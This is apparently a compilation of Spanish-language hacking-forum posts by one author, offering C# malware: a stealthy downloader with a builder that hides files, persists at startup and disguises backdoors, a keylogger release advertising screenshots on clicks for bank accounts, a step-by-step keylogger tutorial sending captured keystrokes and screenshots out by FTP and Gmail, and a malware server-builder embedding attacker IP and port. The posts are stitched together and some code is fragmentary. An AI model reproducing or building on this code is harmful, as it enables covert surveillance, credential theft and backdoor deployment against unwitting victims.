solo infecta a una persona no se propaga , es algo basico , y si , viene un codigo fuente queria mostrar el codigo completo al foro pero el stub es largo para el foro.
Una traduccion de mi DH Downloader a C# con las siguiente opciones :
Se puede cambiar el nombre del archivo descargado
Se puede guardar en la carpeta que quieran
Se puede ocultar el archivo
Hace que el archivo se inicie cada vez que carga Windows
Se puede cargar oculto o normal
Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.
En el generador se puede cambiar la extension del archivo bajado , ideal para camuflar backdoors en un servidor que no permite ejecutables.
Una imagen :
Los codigos :
El generador.
Código
// DH Downloader 1.0
// (C) Doddy Hackman 2014
//
// Credits :
//
// Based on : http://www.csharp-examples.net/download-files/
//
//
usingSystem;
usingSystem.Collections.Generic;
usingSystem.ComponentModel;
usingSystem.Data;
usingSystem.Drawing;
usingSystem.Text;
usingSystem.Windows.Forms;
usingSystem.Net;
usingSystem.IO;
usingMicrosoft.Win32;
usingSystem.Diagnostics;
usingSystem.Reflection;
namespace DH_Downloader
{
publicpartialclass Form1 : Form
{
public Form1()
{
InitializeComponent();
}
string ruta_final_global ="";
// Functions
publicstring hexencode(string texto)
{
string resultado ="";
byte[] enc = Encoding.Default.GetBytes(texto);
resultado = BitConverter.ToString(enc);
resultado = resultado.Replace("-", "");
return"0x"+ resultado;
}
publicstring hexdecode(string texto)
{
// Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
Version de mi keylogger KeyCagator en C# , originalmente escrito en Delphi y Perl , basicamente es solo una traduccion pero tambien le agregue unas opciones nuevas.
Opciones :
Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
Captura el nombre de la ventana actual
Captura la pantalla
Logs ordenados en un archivo HTML
Se puede elegir el directorio en el que se guardan los Logs
Se envia los logs por FTP
Se oculta los rastros
Se carga cada vez que inicia Windows
Se puede usar shift+F9 para cargar los logs en la maquina infectada
Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger
Mejoras :
El keylogger oculto en la computadora de la victima tiene una ventana oculta con password para manejar o cambiar las opciones del keylogger aclaradas en el stub.
A peticiones de varios usuarios le agregue la opcion de poder capturar un screenshot cuando se detecte el click del mouse en una ventana especifica , esto es usado mucho para las cuentas de banco y no hay muchos keyloggers en ningun lenguaje que te regalen el codigo de esta forma.
Posibilidad de enviar los logs comodamente a tu cuenta de correo.
El stub pesa mucho menos que la version en Delphi
Unas imagenes :
Un video con ejemplo de uso :
Si lo quieren bajar lo pueden hacer de aca con codigo incluido.
[Titulo] : Creacion de un Keylogger [Lenguaje] : C# [Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion 0x02 : Capturar Teclas 0x03 : Capturar el nombre de las ventanas activas 0x04 : Tomar un ScreenShot de la pantalla 0x05 : Subir logs a un servidor FTP 0x06 : Mandar logs por Mail 0x07 : Probando el programa
-- =================--------
0x01 : Introduccion
Hola , hoy les traigo un manual sobre como hacer un keylogger en C# , en este manual les voy a enseñar o por lo menos lo voy a intentar sobre como capturar las teclas , nombres de las ventanas , tomar un screenshot de la pantalla para despues mandar los logs por Mail (usando Gmail) o subirlos a un servidor FTP.
Empecemos ...
Para empezar el keyloger tenemos que crear primero un nuevo proyecto de la siguiente forma :
Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar
Como en la siguiente imagen :
Una vez creado el proyecto vamos hacer el formulario completo para hacerlo de una para esto tienen que usar :
Para poder escribir los logs en un html necesitan usar mi funcion traducida originalmente desde perl a python,ruby,delphi y finalmente C# :
Código
publicvoid savefile(string file, string texto)
{
//Function savefile() Coded By Doddy Hackman
try
{
System.IO.StreamWriter save =newSystem.IO.StreamWriter(file, true);// Abrimos para escribir en el archivo marcado
save.Write(texto);// Escribimos en el archivo marcado con lo que hay en la variable texto
save.Close();// Cerramos el archivo
}
catch
{
//
}
}
Ahora tenemos que agregar el primer timer al formulario solo van al cuadro de herramientas y lo arrastran al formulario. Como va a ser el primero timer tendra el name de timer1 , entonces hacemos doble click timer1 para agregar el siguiente codigo.
string letra = Convert.ToChar(num).ToString();// Formamos la letra convirtiendo num a Char
savefile("logs.html", letra);// Agregamos la letra al archivo de texto
}
else
{
// Si no se detecta ni Shift ni CapsLock ...
string letra = Convert.ToChar(num j+32).ToString();// Formamos la letra minuscula sumandole 32 a num y convirtiendo num a Char
savefile("logs.html", letra);// Agregamos la letra al archivo de texto
}
}
}
}
}
Se deberia ver algo asi :
Como ven en este codigo explico como detectar mayusculas y minisculas , ya sea por Shift o CapsLock este codigo las detecta igual y guardas las teclas un log html usando la funcion savefile().
Ahora le hacemos doble click al primer boton , es el que activa la captura de las teclas "Capture Keys ON" , para poder poner el siguiente codigo :
label1.Text="ON";// Ponemos "ON" como texto en label1
}
Con este codigo vamos a poder activar la captura de las teclas pero para poder desactivar el timer y que no siga capturando tenemos que hacer doble click en el segundo boton , el que dice "Capture Keys OFF" para poner este codigo :
label1.Text="OFF";// Ponemos "OFF" como texto en label2
}
Con eso ya estaria la captura de teclas mayusculas y minusculas.
0x03 : Capturar el nombre de las ventanas activas
Para poder capturar el nombre de las ventanas activas tenemos que declarar las siguiente variables globales al inicio del codigo :
Código
string nombre1 ="";// Declaramos la variable string nombre1 como vacia ("")
string nombre2 ="";// Declaramos la variable string nombre2 como vacia ("")
Estas lineas son necesarias para guardar los nombres de las ventanas y comparar para saber cual es la actual , para poder capturar el nombres de las ventanas activas tambien tenemos que agregar estas lineas al inicio del codigo :
Código
[DllImport("user32.dll")]
staticextern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
staticexternint GetWindowText(IntPtr ventana, StringBuilder cadena, int cantidad);
Ahora tenemos que agregar el segundo timer al formulario , para hacerle doble click y agregar el siguiente codigo :
label2.Text="OFF";// Ponemos "OFF" como texto en label2
}
Con esto terminariamos la funcion de capturar las ventanas activas.
0x04 : Tomar un ScreenShot de la pantalla
Para esta funcion lo primero que hay que hacer es agregar esta linea al inicio del codigo :
Código
usingSystem.Drawing.Imaging;
Bien ahora para que el programa capture la pantalla cada cierto tiempo tenemos que agregar el tercer timer al formulario para ponerle como tiempo o Interval un valor de "10000" que serian 10 segundos porque el interval exige que el tiempo sea expresado en milisegundos. Despues de eso agregan esta funcion al inicio del codigo llamada screeshot() :
Código
publicvoid screenshot(string nombre)
{
try
{
// ScreenShot Based on : http://www.dotnetjalps.com/2007/06/how-to-take-screenshot-in-c.html
// Thanks to Jalpesh vadgama
int wid = Screen.GetBounds(new Point(0, 0)).Width;// Declaramos el int wid para calcular el tamaño de la pantalla
int he = Screen.GetBounds(new Point(0, 0)).Height;// Declaramos el int he para calcular el tamaño de la pantalla
Bitmap now =new Bitmap(wid, he);// Declaramos now como Bitmap con los tamaños de la pantalla
Graphics grafico = Graphics.FromImage((Image)now);// Declaramos grafico como Graphics usando el declarado now
grafico.CopyFromScreen(0, 0, 0, 0, new Size(wid, he));// Copiamos el screenshot con los tamaños de la pantalla
// usando "grafico"
now.Save(nombre, ImageFormat.Jpeg);// Guardamos el screenshot con el nombre establecido en la funcion
}
catch
{
//
}
}
Para despues hacer doble click en el timer3 y poner el siguiente codigo :
string fecha = DateTime.Now.ToString("h:mm:ss tt");// Obtemos la hora actual usando DateTime y la guardamos en la
// variable string con el nombre de fecha
string nombrefinal = fecha.Trim()+".jpg";// Limpiamos la variable fecha de los espacios en blanco y le agregamos
// ".jpg" al final para terminar de generar el nombre de la imagen
string final = nombrefinal.Replace(":", "_");// Reemplazamos los ":" de la hora por "_" para que no haya problemas
// al crear la imagen
screenshot(final);// Usamos la funcion screenshot() para mandar el nombre de la imagen que tiene la variable "final"
// y asi realizar el screenshot
}
Viendose asi en el codigo :
Ahora la parte que me estaba olvidando hagan doble click en el quinto boton , el que tiene como texto "Capture Screen ON" y pongan el siguiente codigo :
Código
timer3.Enabled=true;// Activamos el timer3
label3.Text="ON";// Ponemos "ON" como texto en label3
Ahora hagan doble click en el sexto boton , el que tiene como texto "Capture Screen OFF" y pongan el siguiente codigo :
Código
timer3.Enabled=false;// Desactivamos el timer3
label3.Text="OFF";// Ponemos "OFF" como texto en label3
Con esto ya estaria terminada la parte de la captura de pantalla cada cierto tiempo , en este caso son cada 10 segundos.
0x05 : Subir logs a un servidor FTP
Bien , ahora para poder enviar logs por FTP necesitamos agregar estas lineas al inicio del codigo :
Código
usingSystem.Net;
usingSystem.IO;
Despues de uso tambien tenemos que agregar esta funcion al inicio del codigo que sirve para subir archivos a un servidor FTP marcado :
FTP_Upload("localhost", "admin", "admin","logs.html");// Usamos la funcion FTP_Upload para enviar el log por FTP
// con los datos del servidor marcados
}
Como ven tenemos "localhost" como servidor FTP y "admin" como usuario y password del servidor FTP , al final de la funcion tenemos "logs.html" que son los logs creados por el keylogger y listos para enviar al servidor FTP correspondiente. Para probarlos en su servidor FTP tienen que cambiar los valores de servidor , usuario y password.
Pasemos al siguiente punto
0x06 : Mandar logs por Mail
Ahora vamos a ver como enviar los logs por mail , para poder hacerlo necesitan una cuenta en Gmail , si quieren registrarse en Gmail sin dar el telefono tienen que registrarte poniendo como direccion de correo alternativa una que sea con "@gmail.com" , en mi caso tambien puse la nacionalidad de Estados Unidos , no se si hace falta pero yo lo hice igual y safe de que me pidieran el telefono (no lo voy a dar ni muerto xD). Bien para poder enviar correos usando Gmail necesitamos poner esta linea al inicio del codigo :
Código
usingSystem.Net.Mail;
Despues tenemos que poner esta funcion al inicio del codigo que es la que uso para enviar Mails a Gmail :
Gmail_Send("tucorreo@gmail.com", "tupass", "target@hotmail.com", "Aca van los logs", "Disfruta los logs", "logs.html");
// Usamos la funcion Gmail_Send para enviar el log por Mail usando nuestra cuenta de Gmail con los datos aclarados en los argumentos de la funcion
}
Como ven en la funcion tenemos como argumentos , el correo y password de nuestra cuenta gmail que usamos para enviar los logs , despues tenemos el correo donde van a llegar los logs , despues tenemos el titulo del mensaje que es "Aca van los logs" y el contenido del mensaje donde tenemos "Disfruta los logs" y para terminar tenemos la ruta de los logs del keylogger que es "logs.html".
Con eso pasamos el ultimo punto.
0x07 : Probando el programa
Bueno , creo que con esto cubrimos lo que es un keylogger basico (eso creo) , para probar solo tenemos que activar la captura de teclas , captura de ventanas y captura de screenshots desde su boton correspondiente , si queremos parar cierta funcion solo tenemos que hacer click sobre el boton de abajo correspondiente.
Se les deberia ver tal cual lo hicimos en el primer punto :
Para mandar los logs por FTP solo hagan click en el boton "Send logs for FTP" y despues de unos segundos tendran subidos los logs al servidor FTP que marcaron en la funcion del punto anterior.
En mi servidor FTP local se puede ver como se subieron los logs : logs.html
Lo mismo con el envio de logs por Mail con la diferencia de que ahora tienen que hacer click en el boton "Send logs for Mail" les dejo un ejemplo donde envio los logs a mi correo en hotmail :
Si quieren pueden ver los logs en formato HTML , en mi caso podre leer algo como esto en Firefox :
[Titulo] : Creacion de un Server Builder [Lenguaje] : C# [Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion 0x02 : Creacion del builder 0x03 : Creacion del stub 0x04 : Probando el programa
-- =================--------
0x01 : Introduccion
Ya habia hecho este manual en Delphi pero como me gusta traducir codigos ahora le toca a C# , para empezar el server builder se usa en el malware para poder generar el virus o programa malicioso con datos importantes para el atacante como la ip , puerto o alguna configuracion que el server builder considera importante para el programa malicioso. En este caso veremos solo la ip y el puerto , comencemos ...
0x02 : Creacion del builder
Para crear el server builder tenemos que crear un nuevo proyecto en Visual Studio de esta manera si usan la version 2010 :
Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar
Como en la siguiente imagen :
Ahora creemos dos textbox , uno va a ser para la IP y el otro textbox para el puerto , tambien agregamos un boton que sere el encargado de escribir en el stub , pueden poner los tres en el lugar que quieran o sino haganlo como en la siguiente imagen :
Una vez hecho el diseño del form del builder vayan al codigo del formulario y agreguen este linea al inicio del codigo.
Código
usingSystem.IO;// Agregar esta linea al inicio del codigo para el manejo de archivos
Despues hagan doble click en el boton que crearon para agregar el siguiente codigo :
Código
FileStream abriendo =new FileStream("stub.exe", FileMode.Append);// Abrimos el stub.exe para escribir en el usando "abriendo"
BinaryWriter seteando =new BinaryWriter(abriendo);// Usamos BinaryWriter para poder escribir en el archivo binario usando "seteando"
seteando.Write("-IP-"+ textBox1.Text+"-IP-"+"-PORT-"+ textBox2.Text+"-PORT-");// Escribimos en el archivo binario la IP y el puerto
// usando los valores de los textBox1 y textBox2
seteando.Flush();// Hace que los datos almacenados en el buffer se escriban
seteando.Close();// Cerramos el BinaryWriter "seteando"
abriendo.Close();// Cerramos el FileStream "abriendo"
Les deberia quedar algo asi :
Con esto ya estaria el server builder , ahora vamos al stub ...
0x03 : Creacion del stub
Bueno , ahora les voy a explicar como hacer el stub , para empezar creamos otro proyecto de la siguiente manera :
Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar
Como en la siguiente imagen :
Una vez creado el proyecto , agregamos al formulario 2 textBox y un boton que servira para cargar la configuracion , les deberia quedar algo asi :
Unz vez terminado todo , agregamos estas dos lineas al inicio del codigo del formulario :
Código
usingSystem.IO;// Agregar esta linea para el manejo de archivos
usingSystem.Text.RegularExpressions;// Agregar esta linea para el manejo de las expresiones regulares
string ip ="";// Declaramos la variable que contendra la IP como string
string puerto ="";// Declaramos la variable que tendra el puerto como string
StreamReader viendo =new StreamReader(Application.ExecutablePath);// Inicializamos la instancia StreamReader como "viendo" para abrir el stub
string contenido = viendo.ReadToEnd();// Leemos el contenido del programa y guardamos el resultado en la variable "contenido"
Match regex = Regex.Match(contenido, "-IP-(.*?)-IP--PORT-(.*?)-PORT-", RegexOptions.IgnoreCase);// Usamos una expresion regular para buscar la ip
// y el puerto
if(regex.Success)// Si se encontro algo ...
{
ip = regex.Groups[1].Value;// Guardamos la ip encontrada en la variable "ip"
puerto = regex.Groups[2].Value;// Guardamos el puerto encontrado en la variable "puerto"
}
textBox1.Text= ip;// Ponemos la ip que obtuvimos en el textBox1
textBox2.Text= puerto;// Ponemos el puerto que obtuvimos en el textBox2
}
Les deberia quedar algo asi :
Con todo esto ya tenemos listo el server builder tanto el builder como el stub ahora nos toca probarlo ...
0x04 : Probando el programa
Una vez compilado el builder y el stub procedemos a probarlo , carguen el builder y ponganle los datos que les venga en gana en mi caso voy a poner como ip "localhost" y como puerto "666" , despues carguen el stub y hagan click en el boton para cargar la configuracion , a continuacion les dejo una imagen de como quedaria el server builder ademas en la imagen les muestro el stub cargado en WinHex para que vean que si funciona :
Eso seria todo.
Proximamente se viene un tutorial sobre como hacer un Keylogger en C# ...
Hola , aca les traigo un manual sobre como usar Skins en los formularios en C# , costo conseguirlos pero gracias a la recopilacion de atheros (foro indetectables) logre conseguir unos skins grosos que mostrare a continuacion.
Les dejo las imagenes de los skins :
Flow Theme
Fusion Theme
Future Theme
Genuine Theme
Modern Theme
Prime Theme
SkyDark Theme
Studio Theme
Tweety Theme
Drone Theme
Mephobia Theme
Para bajar la recopilacion de skins haganlo de aca , una vez descargados veran que los skins estan divididos en carpetas por versiones de Themebase , para usarlos tienen que crear una clase nueva en el proyecto de Visual Studio llamada Themebase.cs , en esta clase tienen que poner el codigo del archivo Themebase.txt de la carpeta en la que esta el skin que quieren probar , despues de crear esa clase tienen que crear otra con el nombre de Theme.cs , obviamente tienen que poner el codigo que tienen en el archivo Theme.txt que esta en la carpeta con el nombre de theme.